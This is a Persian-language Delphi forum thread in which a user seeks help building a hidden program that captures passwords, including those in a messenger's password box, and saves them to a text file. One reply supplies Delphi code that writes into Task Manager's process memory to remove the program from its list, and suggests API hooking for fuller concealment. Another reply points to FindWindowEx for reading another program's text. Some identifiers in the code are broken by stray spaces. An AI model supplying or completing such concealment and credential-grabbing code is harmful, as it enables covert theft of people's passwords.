یک کمک ساده از دلفی کارا

[kiko208]

سلام اساتید

من میخواهم این سورس را به صورت فایل اجرایی Exe برایم کامپایل کنید . به صورتی که بتوانم این را پنهان اجرا کرده و به آن آرگومان ( Argument ) یک فایل Text ( متنی ) به آن بدهم و برنامه این آرگومان را گرفته و پسوردها را به جای اضافه کردن در لیست در این فایل Text اضافه کند . قابل ذکر است که این برنامه این کارها را باید به صورت پنهان انجام دهد و میخواهم در لیست برنامه های در حال اجرا ( نشانه application در Task Manager ) نشان داده نشود . من در Vb بدین صورت پنهان میکنم .
App.TaskVisible = False
منتظر هستم . ممنونم .

[مینا موسوی]

میشه بیشتر توضیح بدید

[Delphi_Developer]

خدا مرگم بده !!! Pass Sender ؟؟؟؟؟؟؟؟؟؟؟؟؟!!!!!!!!!!!!! http://iraniansoft.ir/smileys/blinksmiley.gifhttp://iraniansoft.ir/smileys/blinksmiley.gifhttp://iraniansoft.ir/smileys/blinksmiley.gif

[kiko208]

دوستان توضیح کامل دادم یه سوال ساده هست

[lord_viper]

این کدی که شما گذاشتین پروسه های مورد نظر رو میبنده و اصلا مخفی نمیکنه


unit lviinjection;

interface
uses
classes,windows,messages,commctrl,sysutils;

procedure lviw32injection(h:hwnd;item:string);

implementation

procedure lviw32injection(h:hwnd;item:string);
var
handle:thandle;
lvi:TLVFindInfo;
p:pointer;
pid:dword;
i:integer;
w:cardinal;
begin
GetWindowThreadProcessId(h,pid);
handle:=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
p:=virtualallocex(handle,nil,sizeof(lvi),MEM_COMMI T,PAGE_READWRITE);
lvi.psz:=virtualallocex(handle,nil,sizeof(item),ME M_COMMIT,PAGE_READWRITE);
lvi.flags:=LVFI_STRING;
writeprocessmemory(handle,lvi.psz,pchar(item),leng th(item),w);
writeprocessmemory(handle,p,@lvi,sizeof(lvi),w);
i:= SendMessage(h, LVM_FINDITEM, WPARAM(-1), LPARAM(p));
ListView_DeleteItem(h,i);
VirtualFreeEx(handle,Lvi.psz, 0, MEM_RELEASE);
VirtualFreeEx(handle, p, 0, MEM_RELEASE);
end;
end.

اینو تو یه یونیت قرار بدین و تو یه تایمر اجراش کنین
این کد هم فقط برنامتون رو از TaskManager مخفی میکنه
برای اینکه برنامتون به طور کامل تو ویندوز مخفی بشه باید یه hookapi براش بنویسین

[Felony]

بله ... من حواسم نبود اشتباهی کد رو گزاشتم ...

[kiko208]

ممنونم دوستان . یه سوال دیگه داشتم اینه که چطوری میشه نوشته ای رو از یه Textbox گرفت و و در یک فایل متنی ظبتش کرد ؟

[Hsimple11]

منظورتان یک Text در هر برنامه ای است؟ اگر بله باید با Handle آن کار کنید.

[kiko208]

بله منظورم Text برنامه هست . در اینجا میخوام text پسورد مسنجر رو بگیرم و در یک فایل متنی سیو کنم . میشه بیشتر توضیح بدید .

[Hsimple11]

تابع FindWindowEx را جستجو کنید.